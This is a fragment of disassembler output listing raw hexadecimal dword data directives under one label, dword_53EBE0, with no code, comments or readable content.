		dd 6577F60Eh, 62A6BF42h, 486640h, 60FE170Ch, 0E585DE8Ah
		dd 3948A600h, 0E93F3EF7h, 90E777B9h, 0E7F3050h,	481E0199h
		dd 347F337Bh, 80D79D2Ch, 0A10880B2h, 6597EBACh,	70008849h
		dd 7557BC76h, 0F626F2D7h, 32D412F7h, 9FA4D02Eh,	0DE00036Ch
		dd 5A1D8662h, 3C2248h, 52388E9Ah, 1C70EE32h, 14107403h
		dd 0B971C4C5h, 0F0308766h, 16554099h, 8230E64Ch, 0C0D3F630h
		dd 0EA50B278h, 0FB8601D8h, 2FDCE881h, 6E8AE0D7h, 6E4593Ah
		dd 6201D35Fh, 70F808h, 5CC99DD0h, 7A736763h, 8A4348DFh
		dd 0E1B23Eh, 0F5188631h, 0F2FB6E5Ch, 0D895AC01h, 5ED9596Fh
		dd 1D755191h, 2A8EDF50h, 0F0EA4115h, 49E4A2C2h,	6CC50018h
		dd 0F3CAE536h, 7007263Ah, 0F5D1B244h, 0E3EB3380h, 202F63FDh
		dd 291E320Eh, 0B8C0CD16h, 0F6B2825Fh, 18DD33h, 936A8A75h
		dd 0A814477Bh, 8C49E3h,	0FF733796h, 18D5261Dh, 3030A64Eh
		dd 0AB6F05DBh, 0ADCB0069h, 19E99Eh, 0D9D409A1h,	89530D30h
		dd 0F626A503h, 0B81B4EBEh, 0A04A0E6Ah, 504058h,	4465BFC6h
		dd 7D6C1BCh, 0D490B11Fh, 0B834454Dh, 4E611810h,	5C483D97h
		dd 0F087ED80h, 7816906Eh, 6CE3730Bh, 96198039h,	0E89C5891h
		dd 0C59A06B2h, 40D09B77h, 0BF571E00h, 0CCBAD576h, 8528C093h
		dd 417F95DEh, 52CFEF16h, 881C11h, 80A44493h, 3E37AB96h
		dd 5A00F409h, 0E59957DEh, 0AF00AA18h, 0CB7CE451h, 534741E1h
		dd 606020D0h, 0CBB34480h, 0D40A80DFh, 7BC9846h,	0F75F6996h
		dd 4ED52E43h, 1D8BA021h, 57585000h, 143C7786h, 2D261949h
		dd 60F9900Ch, 0CB605661h, 2E75F249h, 64260FDFh,	88653AA1h
		dd 0D208077Dh, 5293709Bh, 0B903C5FBh, 0E96C4A0h, 7FDCD14Dh
		dd 0B68008BFh, 0D36F402h, 9B006C75h, 836B0F0Bh,	0E24EC7Bh
		dd 8DD243AEh, 4B94EEE0h, 342E10E4h, 0D505BF80h,	0D4433C4Fh
		dd 1D72B93h, 0A7E066C9h, 0DCE9B93Eh, 0D0955CB1h, 139301D5h
		dd 4B72988Ah, 0F34C240Fh, 2E4C25E4h, 0C58306D0h, 30194D79h
		dd 0F251CF2Ah, 3600483Bh, 79446AB7h, 0E86BE5h, 0B4C5724Eh
		dd 0A6187370h, 9C925E3Dh, 8A0021F7h, 88653515h,	54034957h
		dd 42CADE80h, 93307E13h, 0E68C4071h, 2404906Bh,	43105F56h
		dd 89004B0Eh, 19E0DCF8h, 0F63487h, 0D74EC87Fh, 6ACC6B41h
		dd 0AB8C7001h, 34C4832Eh, 0A0737AE8h, 8A33698Ch, 347F018h
		dd 0AE9F9000h, 0D2352984h, 748C0011h, 933AF912h, 0A6304F8Bh
		dd 492C8041h, 0B9D86352h, 5100F1E3h, 7C5B9015h,	3A29B18h
		dd 69BCA754h, 0FF90F3ABh, 7F00BDADh, 62A9F5E6h,	90F9A342h
		dd 0DF4F087Ch, 306B59Fh, 59C3FAh, 0A8C93177h, 0B8235A49h
		dd 9B823214h, 0C41848B0h, 0C7AE06C8h, 939AC0C3h, 4D33D53Eh
		dd 0F09991FAh
		dd 0F88A6F8h, 0C437C96h, 61CE8C06h, 942E18A1h, 3FF4B049h
		dd 83D3D80h, 33EAF45h, 0EEE38533h, 74035100h, 1076F42Ah
		dd 1CCB7450h, 6F1C6F8Eh, 6004954h, 448A4F3Bh, 410260AFh
		dd 0AE7A41DEh, 10F0CD68h, 85007791h, 98CCDCB8h,	0B23BB96Bh
		dd 31CE82A2h, 447AC519h, 82930338h, 0D1B54513h,	62723903h
		dd 0F607D70Eh, 6B710202h, 82637999h, 60523461h,	7256AD01h
		dd 460EC6B8h, 486F0061h, 3B9EA56Eh, 0BC002C73h,	2DF5B242h
		dd 519B5110h, 1820B057h, 4B8588D3h, 5D1FB6E0h, 94003C9Dh
		dd 0D98B687Fh, 0CE89046Bh, 88B94BEBh, 48E5B2A4h, 27094DBCh
		dd 834385D0h, 0CCFA4Ch,	4EC66319h, 34BD9041h, 79F60212h
		dd 1050584Fh, 51490E18h, 801EAF3Bh, 6B80652Ch, 0A9E079A8h
		dd 31308D4h, 1821D1E3h,	499F000h, 0E4DB4D50h, 1DF2077Bh
		dd 403A1A6Fh, 60347A43h, 0B4F9BA28h, 33445C98h,	416B019Ah
		dd 49D496B5h, 4044423Bh, 0B6D05520h, 591C0037h,	54646CADh
		dd 6D009D8Ah, 0A3776121h, 208BAC60h, 0CDE41118h, 0AAEB2E04h
		dd 0DCD01037h, 4C49583Eh, 0DEC09C4Fh, 71AA4EC9h, 0F08F6751h
		dd 8C91FB82h, 7E40891Fh, 68E97766h, 0F10C2A9Fh,	4C08E394h
		dd 1E85288h, 77DFC763h,	24D30F3Fh, 0A73F9320h, 16D41218h
		dd 8344A808h, 0FA6FBDABh, 5BDF3480h, 97782474h,	3A40581Fh
		dd 0D62DEF47h, 0C1A695D7h, 0F82B0091h, 47CEB2BFh, 96025F81h
		dd 0E3910AA7h, 648F2043h, 360329C7h, 0E48A1A9Eh, 0D2D1B870h
		dd 0ECB15839h, 57AA9107h, 40A340B7h, 58009684h,	0A1A4F447h
		dd 0F7CD44CCh, 0E2153C22h, 0D000D0F9h, 0F1F5310Bh, 0F801529Ch
		dd 0D87AA053h, 0CEECB096h, 312F056Eh, 6D073C5h,	0B9C2FA7Ch
		dd 53994500h, 0B376EF5Ch, 44E230FEh, 0A04760B1h, 9E32F11Dh
		dd 9651E300h, 3244D2Ch,	766B8983h, 9144CE27h, 9301CBE0h
		dd 0D498E343h, 0B463EE4Fh, 3C8C5203h, 96E8A136h, 0B5727D05h
		dd 0D2C23300h, 0A9F2476h, 0DCA71ECAh, 7E8C0E95h, 0DDFD2Ah
		dd 2808C785h, 5C98846Ch, 0CD7440h, 0D293DD43h, 8B35F888h
		dd 6230FF7Ch, 0B215915Ah, 0E9923A74h, 2DF02781h, 439D7BCEh
		dd 19157390h, 1F8310Fh,	149A1043h, 0C1DA9FA7h, 1434DA3Fh
		dd 241F7581h, 855CD23Bh, 0C3F717F8h, 0A2C1F294h, 0C02C72D5h
		dd 2FBECDDEh, 2C40B057h, 599870C5h, 9DD5206Ch, 0F741AF1Eh
		dd 15437FC1h, 0CC338FB6h, 882FB510h, 0DF3B003Dh, 2DCF6AF5h
		dd 882838D6h, 61D8602Eh, 0C555D4BEh, 90BFCE00h,	6FFAEAC1h
		dd 0F2730025h, 0AA7B23F9h, 85002F56h, 3B01DE79h, 945282h
		dd 0EA89F360h, 0D6D363E1h, 0BA407106h, 5859412Bh, 0F4002287h
		dd 0E0E76CF8h, 8000460Ah, 6208C4E2h, 18E130BFh,	31432C40h
		dd 83FC978Dh, 0F0D55900h, 4577098h, 5A9A1D6Eh, 10F64038h
		dd 4F289695h, 0ACB0D3F2h, 7CB64419h, 5C218541h,	602A3074h
		dd 3D419DAh, 5E132C99h,	0D700367Ch, 0CE85766Ah,	0EE1803F8h
		dd 934F9851h, 4B4A5811h, 0A38B511h, 9CF54ED4h, 0E3729640h
		dd 787C9247h, 0F6620085h, 0A9C405Ah, 1400A5A1h,	0FCD84ACh
		dd 281D6471h, 90BC88F1h, 33D0BA88h, 3D5895EAh, 0C944491Dh
		dd 0C5FA71B1h, 293200D2h, 7CF41A23h, 5A03AEE2h,	5250F424h
		dd 0CE8D900Bh, 29B10757h, 70346441h, 2DE7772Eh,	33A8938h
		dd 0D04F4B3Ch, 9960E81Dh, 7330C0E4h, 0B2F92E36h, 7D0EAC98h
		dd 78FAA475h, 9342338h,	0ABF6D542h, 99CE5C80h, 2B587CFCh
		dd 182E3CD5h, 0AD18A776h, 0D0973C35h, 0E6F82960h, 0DC37C4A1h
		dd 0FE461096h, 0D6108008h, 31A21851h, 20F841B7h, 182E863Ah
		dd 30087672h, 580E3A52h, 3BCC0501h, 0BE1EDCFDh,	577E1F10h
		dd 0E039B301h, 3C337274h, 0F0AF2Eh, 0B2F8074Fh,	5A07E6EBh
		dd 25FB7095h, 0A440C725h, 36A0DB6Eh, 313700B3h,	0A44B1C61h
		dd 9424E967h, 1240582Eh, 1DF2588Bh, 41A634F1h, 4737089Ah
		dd 9DFE6027h, 0E0B5BF0h, 90E65296h, 2A476E98h, 7108B331h
		dd 0ECE3228Bh, 46982901h, 0FAAFA8FBh, 760A4840h, 7EE10023h
		dd 3C7CDA05h, 4000A48Eh, 91CA72D8h, 31CF07h, 0B2DD4185h
		dd 3496D702h, 0D06AF32Eh, 8CA0239h, 4C6BF8CDh, 5C8300E4h
		dd 0C82D3C05h, 420B8F04h, 800186C6h, 6C6B90A6h,	29773B14h
		dd 91CB6180h, 3694FB5Ah, 0F640E202h, 5245D49Ah,	4E0E244Ch
		dd 0CCF780A4h, 3E95C0B6h, 342CF4B8h, 0B0045429h, 589CCB6Dh
		dd 0C81C0E17h, 1BA0FC79h, 3D574B72h, 55B8B509h,	89D04199h
		dd 0D52C1F00h, 78534E4Eh, 52AFA830h, 0A503006Ah, 131EF24Bh
		dd 0B900833Bh, 0DEB4C12Ah, 2CC5D4F6h, 4B509077h, 43FD3800h
		dd 89C7C84Ch, 2510966Ah, 50B04487h, 88DA5406h, 3200517Ch
		dd 0E2D27A67h, 1FF2CA22h, 40582C30h, 11362B92h,	0FA305144h
		dd 287351F5h, 1FB81334h, 46000893h, 0C3FDCD80h,	3FED385h
		dd 437AA711h, 3D8D97Ch,	0B814D564h, 97FC4F44h, 0A9A58C20h
		dd 0F75807AFh, 13836A08h, 0A90BA49Ch, 3DB43E5h,	0A970FA58h
		dd 8438FF89h, 82A9F800h, 350F4973h, 0EF436F00h,	56FAA2CFh
		dd 136C048Dh, 0A4D2B145h, 0E02C4AA4h, 0D518B0B2h, 1896F5B0h
		dd 69C95844h, 71789CC5h, 2E95E80Ch, 73439D9h, 73F4A80Ch
		dd 0E84C0CFh, 0AC164007h, 0E030D764h, 9141D49Dh, 6593007Ch
		dd 0AB95F259h, 0B09C11F4h, 9CC7E43h, 7D99D259h,	0D8F7B819h
		dd 0BE00B052h, 0E790ACEDh, 0C86889h, 0BC848321h, 0ABCAFA36h
		dd 92FC915Ch, 0D07C6005h, 0F7FA2805h, 446A9002h, 79CC72CBh
		dd 0AE5E1D52h, 0D00C924Eh, 68035FCh, 0D2D9C607h, 84259E22h
		dd 0A46EE4C2h, 0C803798h, 1DB2F6h, 0F0949F2Eh, 0A7028118h
		dd 57954Ch, 0A09FD78h, 24EF53h,	3B3D7208h, 40BCDEB3h, 890D753Bh
		dd 68FA9A11h, 0F6B986F4h, 7A650076h, 0CB8F7F9Dh, 7C3C1883h
		dd 173D0184h, 0F1E8B0C6h, 8029A821h, 18DD16h, 7E1180C0h
		dd 19C3DB2Eh, 0A00206A4h, 64D0CB5h, 0C4C5136Dh,	4825E147h
		dd 890CAF5Ah, 0B2C8487Ah, 2514B9F5h, 0CBA72002h, 2F809E2Eh
		dd 4494104Bh, 0EA09154h, 93C9AD40h, 1C3D1CE0h, 3705F600h
		dd 2E3F2373h, 0D2BF3D27h, 74F72600h, 3278C58Ah,	0C0C8E548h
		dd 6DFA95E6h, 7891CAE1h, 0C8569054h, 0F2A4575h,	0DEA08374h
		dd 0A4088297h, 0C5BF6B06h, 487299A9h, 0E878C477h, 0F5E300FEh
		dd 1C7236F3h, 94006145h, 52918915h, 0ED96E29Dh,	8DD1F043h
		dd 10CD9022h, 1E883671h, 614A3CE6h, 0ED9CE728h,	435812D3h
		dd 817C9551h, 0E4311418h, 98423Ch, 0A8384124h, 0D492DD01h
		dd 0F9D3F4BDh, 72E0F780h, 136F141Ah, 4981BCCFh,	204C2F0Bh
		dd 0A0929860h, 43823C06h, 2A13213h, 0FAE25033h,	0AC70CDB0h
		dd 0DF08D574h, 3C1D9AAh, 9457D65Ah, 0C7DB7005h,	59826BFCh
		dd 3FBC79D3h, 51422B98h, 9800E2C4h, 0BB4F6E3Fh,	8DD40Dh
		dd 0F0544C1Ah, 0CFF9FA7Bh, 1B47A1C3h, 805CD018h, 99B7D99h
		dd 0F291E695h, 0FC9C1880h, 0DC00B688h, 41BBE9F4h, 679713h
		dd 0BE9E6C72h, 4EA6BFBh, 0B8428103h, 0E91107CBh, 682C8880h
		dd 9BB9409Fh, 0ED17F1DBh, 38262D00h, 1214D565h,	0C1622AF5h
		dd 3F6E03C8h, 0D2E3B831h, 220F1081h, 455B002Ch,	526C6474h
		dd 0D0664CF1h, 0C5F9407Dh, 0DFC72F7h, 0D940D493h, 8B1F6838h
		dd 259205B1h, 0EF0887C5h, 18DFC091h, 962836h, 59CE51F5h
		dd 0BB03C8Ch, 8B10931Fh, 64100F90h, 4AE318F0h, 14340D9h
		dd 0A58C326Ah
dword_53EBE0	dd 0E87C35D3h, 74005251h, 20E28D58h, 2CBCAC80h,	0B782D1Fh
		dd 286443F6h, 0B68CFA02h, 0D02142F3h, 30773060h, 94A448C9h
		dd 728FAA06h, 20801936h, 6A00F8BBh, 0E9533E93h,	50CE54B0h
		dd 914DD461h, 811C0BE0h, 0C1E88004h, 0DB5E2Ch, 92AF5E9h
		dd 0B74B84D0h, 0CDCA186Bh, 901F88A7h, 0FA047842h, 1E347300h
		dd 8DB0812Eh, 0C89338CEh, 8944B450h, 1E3C722Ah,	5080D914h
		dd 89BBFCDEh, 973A3202h, 0C42F7F41h, 3CC95243h,	3ADF6FCCh
		dd 2C041D2Dh, 2F78D53h,	728C76CAh, 364C0314h, 0D9FA9858h
		dd 2253903h, 0EF5BC2F6h, 71561140h, 0D561003Ch,	2FD13DD8h
		dd 91003B67h, 94B2ABF3h, 9631A379h, 1BE986A4h, 32F0699Fh
		dd 3E247CB8h, 7901B4CDh, 0E6ACE6Fh, 6F3D050h, 352F007Bh
		dd 0B27C0A6Bh, 0B11C7A3Ch, 0A880C33Dh, 0FCA444A3h, 82060095h
		dd 0EECB81BEh, 220B7412h, 7B1F438h, 2A80310Ch, 0C009FCD3h
		dd 2D540210h, 7613FF8Bh, 38045238h, 181FE4E5h, 0A29DA9D6h
		dd 78EF9207h, 4646D46Dh, 15350CC6h, 0F5C0F4B2h,	0F0BC71E2h
		dd 8D027824h, 4172DE79h, 0B2103120h, 0E307EA9Ah, 706B1D48h
		dd 0CED9DA80h, 0FC855831h, 49FB8012h, 0ED83E50Ch, 93E883C0h
		dd 0B400CCD9h, 6DAB88E1h, 3EBD19B2h, 528095ECh,	0D4DD4B90h
		dd 48FB44D7h, 15027CACh, 0AFBEC897h, 80647241h,	139E9344h
		dd 41988584h, 1182238Ch, 41D4207Ch, 5A343E20h, 110490Bh
		dd 527DA300h, 8072837Eh, 99606D00h, 12E32542h, 0A2AF3F11h
		dd 0B47B9609h, 28766CE8h, 1E868E5Ch, 75CAD2D6h,	83170870h
		dd 0A31FE000h, 48A8044Ah, 35220472h, 0D92B213h,	0CB822A00h
		dd 0A0FAB5E6h, 3EC908h,	766C719Bh, 99685D15h, 6B8CC800h
		dd 48D51C20h, 0E0B4B41Bh, 9DC4CCE9h, 0BE012B72h, 9AD1FA21h
		dd 0F0FA6085h, 40016078h, 284CD51Eh, 0DE83A50h,	2F0080A4h
		dd 9B6C3808h, 2E1585h, 0C560889Dh, 8DC9E2D7h, 7A44CD1Bh
		dd 5E11C0F0h, 78B8E0h, 221DD89Fh, 0E1533D4Fh, 7711A262h
		dd 0F148970h, 8FCC940Ch, 274124EAh, 4C7B48F6h, 5B80082Dh
		dd 0DA0283FDh, 910B4801h, 4B76C5B6h, 0B85CE463h, 0CCB891C4h
		dd 1600978Ch, 0F2ED7FC7h, 92C1CEh, 3F824E42h, 57872EF1h
		dd 9C0FB10Eh, 2590B83h,	0C48DB38Ch, 0DC112C98h,	5C902730h
		dd 8900647Dh, 0DE9EC304h, 997A8A6Bh, 0E4D20114h, 362DE76Fh
		dd 44586Ch, 0A49FDCB5h,	79E82CBBh, 0F76E055Eh, 200DFF2Dh
		dd 7B016184h, 75032101h, 0D5CF6743h, 0DEDCF861h, 97F100A4h
		dd 0CE95F457h, 4649AB9Eh, 36C41170h, 4E42E440h,	88E42745h
		dd 3B40CD44h, 400EE9ADh, 5911B313h, 5B046C01h, 5842F9EAh
		dd 0B104E42Eh, 8082614h, 5E9F3572h, 88F2E24Ah, 95B08780h
		dd 3AEE66h, 0FDAD07A3h,	7D9945DAh, 94EBD104h, 0D4A0E496h
		dd 2AF0A150h, 90F086Dh,	28604726h, 3957B082h, 7C061C00h
		dd 5CE01524h, 0F4C10189h, 77132DDEh, 0DDB4486Fh, 834620B2h
		dd 0C4FB1E0Ch, 630087E9h, 429EAD75h, 0EAB6F73Bh, 0CFE709C2h
		dd 4446B329h, 5AD03F09h, 30D408E9h, 0F7895001h,	807045B0h
		dd 0C6FA3093h, 612A631h, 0F6CEE600h, 0A0ADB581h, 6FA34CF8h
		dd 17BC44h, 678E1BEEh, 3E0F23BAh, 0E3DF3D03h, 0A041DC83h
		dd 0F0737982h, 0B8144869h, 93C84316h, 109E8510h, 5972D144h
		dd 0D38820F2h, 771CDE82h, 89C6602Fh, 114B000Bh,	19257E87h
		dd 3A3BDB2Ch, 0D53E8781h, 7271F1BCh, 1080144Ah,	5195FDBDh
		dd 443E76F3h, 0E4D9E950h, 0DCA10024h, 5DE9A4AAh, 56EE1079h
		dd 0CF784C00h, 592AA8D9h, 4B510041h, 9D3827B8h,	98483322h
		dd 0EB0840E8h, 9414E003h, 0C01202B6h, 286B20D2h, 0F260747Ch
		dd 331CB8F1h, 6A818CFBh, 180C66Fh, 88DC30C2h, 5D604F0h
		dd 13DFC8AFh, 83308394h, 29FB3BF9h, 75B64088h, 14F58402h
		dd 0E96BD506h, 6A10C640h, 493D7999h, 0ACB2A964h, 7C886C80h
		dd 280E4AE5h, 0E3883A54h, 96802B70h, 75364074h,	0D902B6F9h
		dd 5EACE830h, 0F87AE3h,	4516CB49h, 7104A2B3h, 3A1D4D00h
		dd 6D46698Eh, 327E4BC6h, 2320CA74h, 2802CEAEh, 780F10h
		dd 789BF9AFh, 712693B8h, 0D5BCAB13h, 0DE7A7088h, 0FB320129h
		dd 44564494h, 2170D970h, 0F2340084h, 36482875h,	8D524A0h
		dd 787B8300h, 2EAB501Ah, 3E752DCEh, 57FB028Fh, 36CF5CE0h
		dd 0DF041290h, 48C34EC7h, 14E230C4h, 7E2AB601h,	0F4E1473Bh
		dd 0C21670D2h, 0E401D4AEh, 8AA249DDh, 32940F2Ah, 928F4E64h
		dd 47944CCh, 0CD123CA6h, 94FAE8B4h, 981380FCh, 708EBF28h
		dd 473833Fh, 35344B9h, 64A834A4h, 4091855h, 9344DD96h
		dd 0BECE42Bh, 78B06F02h, 56821985h, 52C4090h, 0E5034AFBh
		dd 231C16FFh, 9925E838h, 969D0914h, 8A896BEAh, 0C4DD049h
		dd 3B01847Ah, 0A0044F8Dh, 0C46DCCA1h, 62B5DF13h, 0FD001F28h
		dd 3D85386Dh, 6978EA6Ah, 141921DDh, 4771D4C9h, 93C68701h
		dd 5485BC60h, 79E199E0h, 0B8A47B78h, 49A90EA4h,	0B2474ADEh
		dd 413466D4h, 0ACB54429h, 104BDD00h, 4892D986h,	1D3FC858h
		dd 14E808D4h, 88B14515h, 0F2F94899h, 2BD1B022h,	0C0AAEC07h
		dd 605305D5h, 84DAD212h, 2DEB0C42h, 49E49071h, 32F4F0Fh
		dd 4AB36084h, 0EB3A55C0h, 0EA227E13h, 6161081Ah, 583093F0h
		dd 0CB2D04DFh, 0C05F22EFh, 0C6D326E8h, 83A1E601h, 0B27B86F6h
		dd 68BE29C8h, 8020C019h, 0B945D8Ch, 7103551Fh, 0B72B4F8Eh
		dd 0ECC8219Bh, 97D2CB08h, 96B200DEh, 0EE69D648h, 4F17F803h
		dd 0D889538Dh, 497C45D8h, 0FD9474DBh, 2A71C975h, 0FC182810h
		dd 3A4B2209h, 0EA78316Bh, 34E7100Bh, 0FCB09325h, 735B7170h
		dd 2980981Eh, 4DA4916Eh, 31F0A038h, 534338FCh, 0E0C4F426h
		dd 0F0129B3Ch, 9D08ED03h, 0E0A44CDFh, 4036E3Fh,	7ECDC257h
		dd 4F889029h, 649EDF1Eh, 8CA04990h, 9401F001h, 0DF173769h
		dd 1472E372h, 0E138BB01h, 0C44756DBh, 4D07EC60h, 20881D68h
		dd 53B72F0h, 300F09A9h,	0FC8081C7h, 66028A7Fh, 0C3E0B600h
		dd 0FD7320F2h, 0F1761C07h, 8C28C0C9h, 52E66D27h, 0C6A5E116h
		dd 1A0001FAh, 2E6BC589h, 0E01D8C24h, 1868982Fh,	97661D87h
		dd 8BE31EBCh, 0C2800413h, 1071739Ch, 0D4ED427Bh, 1C007AB0h
		dd 0C899DEB3h, 25CD6BE8h, 6C68F993h, 0DB00D5A6h, 8F3C22E4h
		dd 6D2FD2h, 0B8416BFAh,	6FEC519Eh, 0F379960Bh, 0A8049990h
		dd 0CB06A032h, 7CD8CCE8h, 3106AA16h, 66224C8h, 0D6B14A4Fh
		dd 893C98DBh, 1CE900D0h, 4480FA5Ah, 0A8309C5Bh,	0F5F006Ch
		dd 62102FCh, 3000178Ah,	330CBC83h, 7B5410E1h, 0EDE32A13h
		dd 2FD30084h, 5E30BF6Eh, 14B0F1E2h, 0C00C8D48h,	350A1C50h
		dd 40AE0056h, 18D70F75h, 0E30137C9h, 14636AF2h,	0B430A096h
		dd 0B8858849h, 2B3C26h,	0C8EADB40h, 0AAA2000Dh,	7937083h
		dd 0EB1D9EFDh, 52C036B7h, 78E58A89h, 3D4E0AD7h,	8008B080h
		dd 0A36A8885h, 0C504AB62h, 6B818671h, 64003CB2h, 99DF279Ch
		dd 9F0017AEh, 51681B3Fh, 0FD1A87FEh, 0F82C202Fh, 4C028A49h
		dd 0B6B92380h, 12088590h, 33908Ch, 0F5F90374h, 0E65E9767h
		dd 0B93B0918h, 9773C508h, 50489822h, 0CF17EC71h, 0C5F048C9h
		dd 995C098Eh, 26859647h, 0DC50C117h, 0F98D880h,	88706C02h
		dd 528C1873h, 0D29D0274h, 65447D9Ch, 0E34A5072h, 0D46C7C40h
		dd 0AC427Ch, 3275A7C4h,	6E5E82DFh, 0DBB36213h, 0C0FA1406h
		dd 447739h, 0C159969Eh
		dd 68789D11h, 874F8C02h, 89CC6AECh, 8DCC405Ch, 0A48807B1h
		dd 2967578h, 9060E95Bh,	0E4000F85h, 3B113706h, 25CB1624h
		dd 58339BB8h, 58BCA495h, 0A4F9020Eh, 0C398718h,	657D820h
		dd 854012A5h, 0A3CC94C2h, 0C94408BCh, 0DEFA8C4Ah, 741FDF99h
		dd 2D4094B9h, 0D3938332h, 9FBC01D0h, 48B3CE6h, 28CDDDE9h
		dd 498A10CCh, 881A0E7Ah, 7C31CE9Bh, 2C96B37Ch, 0B0D8446Bh
		dd 118801F0h, 0B9BDD4E6h, 79783896h, 29C8A3Ah, 993BE08Ch
		dd 0E0F476AAh, 166F2ED5h, 648B5328h, 0CE767800h, 85CFEF4Dh
		dd 19EB60E3h, 53ACFA71h, 0DE30AD14h, 62D6C0E8h,	6DFE75h
		dd 0E0F09A70h, 0EBDA63Eh, 0F50B5300h, 4B6B92F3h, 43DE2516h
		dd 1C66800h, 150004A0h,	0ED75FBFDh, 2476C2h, 0F0A769E5h
		dd 2E93F43Ah, 8C2C2097h, 0F0F0649h, 0E37DB907h,	0C3466C45h
		dd 4DD03BF3h, 0AA00184Eh, 0EA42832Eh, 713F9CAh,	6AB8377Eh
		dd 0AFF1FC0Bh, 802D783Ch, 0BFDEA8D5h, 2FB5D435h, 78249DB1h
		dd 20B4B87Bh, 54482550h, 341A8CA9h, 0D67FFC00h,	530E7DA6h
		dd 0C0FF23F4h, 843530DAh, 9A0B02CBh, 4451F23Ah,	2E943060h
		dd 3680B49Eh, 67DC1C49h, 7D86251Bh, 9B77A8E4h, 1399EE09h
		dd 9CC2DFh, 0D7E45D38h,	355402D9h, 2EBA45DDh, 0E240451h
		dd 5928B900h, 9D062Fh, 0F2EAD1B4h, 0E1B69A10h, 0FE85058h
		dd 91A437Eh, 0BA28188Eh, 2620002Fh, 2E35E358h, 2D04E829h
		dd 44B54516h, 4A843CE8h, 40220F34h, 75FC202Bh, 4F2600BEh
		dd 77A94AAh, 1901F5CFh,	0C631BA2Ah, 6CE0B37Bh, 0ACC84896h
		dd 4BECE661h, 1E3C22ACh, 6C8D8CB4h, 282070F7h, 24E00897h
		dd 7609396Dh, 85883973h, 0BA01BC63h, 5EB97875h,	0F2DDF4BDh
		dd 820F6F39h, 7B080265h, 0EB8840ECh, 247E5067h,	6A018483h
		dd 0E650EC9Dh, 0F4622B5Dh, 664FA100h, 0E862E49Bh, 10222600h
		dd 0FAA44497h, 5B010495h, 0E27175ECh, 0F78C1F74h, 6CE0E512h
		dd 64457887h, 4147A8CFh, 0B29F7304h, 1FEEB460h,	0C3ADA449h
		dd 56242A88h, 38FBAE9Bh, 2A186DC9h, 0CF2BEC06h,	34320061h
		dd 153B0BF7h, 3F52B045h, 44904AF8h, 3270F2h, 0C83D11CFh
		dd 714F400Ah, 954CF171h, 68850290h, 31CFCC63h, 78D832E2h
		dd 808F98C9h, 0A7E58414h, 39AB1696h, 0CBD8302Dh, 0A3B843DFh
		dd 21403894h, 13B7860Eh, 0C8747D06h, 6F51F1E0h,	0D4B411E8h
		dd 54203A45h, 0A6B879Ch, 43CE2778h, 30A91794h, 3D2FE318h
		dd 3F445CB0h, 0B6BF0024h, 29BEAB76h, 7D00B71Eh,	0FC0A79CBh
		dd 99D8949h, 0C8024D4Eh, 6A124444h, 4CB42DDBh, 1CB107B0h
		dd 21AF5B94h, 0FC347554h, 98006891h, 351258CDh,	51D496BEh
		dd 602BD843h, 0B9685360h, 5E336E00h, 9EBAAAD5h,	78610499h
		dd 0A26FEB92h, 0EEE86468h, 0B080C822h, 0FB1C1376h, 23379503h
		dd 1F25E4h, 0F3B13108h,	3B91B46Ah, 0E4F2582Eh, 43E6B502h
		dd 6B88905Ah, 0A6B00C96h, 0CBD855EBh, 0E2204478h, 1C109FCDh
		dd 481625DDh, 28B09A7Dh, 94E9018Ch, 8273CDD1h, 88706CD8h
		dd 4348B31Eh, 648509A4h, 3D7FA8h, 19E0C888h, 78436EE2h
		dd 92F6CCEDh, 1E75CB00h, 1A2BAA7Fh, 277A5B0Bh, 5936567Ch
		dd 284CC71h, 0A443E841h, 0B8D39681h, 38326C17h,	0DF21056h
		dd 0D52CA095h, 0F631F3Fh, 4D2C7E42h, 29DC36A0h,	6891C6CDh
		dd 0B9A66A02h, 44DF829Eh, 10E87154h, 0C1A8D079h, 0D5CF8F4Bh
		dd 185E4DD0h, 107FCB86h, 0B61EA119h, 36025037h,	41442E89h
		dd 0D610DB74h, 0CA3FD280h, 0C64800F2h, 5667466Dh, 0B310485h
		dd 0B40DFFA6h, 1800497Ch, 960137EFh, 47BD64Ah, 410EDD20h
		dd 8164EDCCh, 0E18D5D63h, 5B788CF0h, 44243971h,	84908711h
		dd 0C8A01231h, 0C9095ACh, 130E6921h, 0A0A5E4A2h, 27CCFE1Dh
		dd 0C1FE68h, 6B7D4D49h,	8D731C70h, 33167A12h, 9021B8C4h
		dd 0C33C24Fh, 0E956110h, 77C57371h, 8C501088h, 2BE228BEh
		dd 796C80D6h, 0F03084Bh, 0F535F155h, 180F5905h,	7ECA41BCh
		dd 9A2C109Fh, 0C90C0047h, 0E1042E59h, 4F007336h, 0BF6158D8h
		dd 3C7D0288h, 9C169237h, 9B84D27Bh, 49F9321h, 8250452Ah
		dd 2D3CE2B6h, 754446Ah,	41EDB07Eh, 0F937905Eh, 3B03BB81h
		dd 5DBAC050h, 0C1EE81F0h, 6B948040h, 87FF2785h,	0B428C4C6h
		dd 3F40C48Fh, 0B5D9F045h, 6EE40490h, 51736601h,	0B20FA93h
		dd 77FCA821h, 0CD97267Ah, 0C5D20F10h, 0ECA44509h, 0C324B42Ah
		dd 0F5309601h, 0D65EFD86h, 1060770h, 0D08022D4h, 0A8DC5944h
		dd 43449CD1h, 1E40A02Ah, 5B553ED6h, 0E627E900h,	0E7EA7C21h
		dd 8288C64Ch, 0C3CA6FFFh, 85880111h, 94B68CF3h,	71CD6068h
		dd 9F5CE24Ch, 3DBE3F87h, 0E4344C87h, 67C74D80h,	835CB981h
		dd 54FCB1D0h, 0F0766BB1h, 17026FCCh, 8993D2A7h,	0FB08A479h
		dd 81585880h, 0D8CE2244h, 0BA8E5C91h, 82EA4756h, 68F093B5h
		dd 4B3A2EFFh, 0F0B83C58h, 8B0131CCh, 0EC523219h, 39DCEC3Eh
		dd 0E7297703h, 0D466CCh, 4BEAEE69h, 7E8B300Eh, 0B42B4824h
		dd 52175D40h, 6822815h,	0C58516DFh, 37489276h, 780568C6h
		dd 96AB01E9h, 11E78880h, 0A3A4F097h, 0AD600110h, 0EAED90D7h
		dd 42B6E1E2h, 18669908h, 0D4F57900h, 3CBCFB2Ah,	70FD48D9h
		dd 0D1308A00h, 86BECFADh, 0E1009DE0h, 0FC312C76h, 73F4B313h
		dd 0CCF08Bh, 5A2DDC4Ah,	99CB7FF3h, 432CEBFEh, 6A40F854h
		dd 0A0276CA0h, 0E1B3D5h, 24CC37FAh, 823BCD6Bh, 18711B26h
		dd 8A93C026h, 530060E2h, 0D161775Bh, 0FC99B843h, 65C88480h
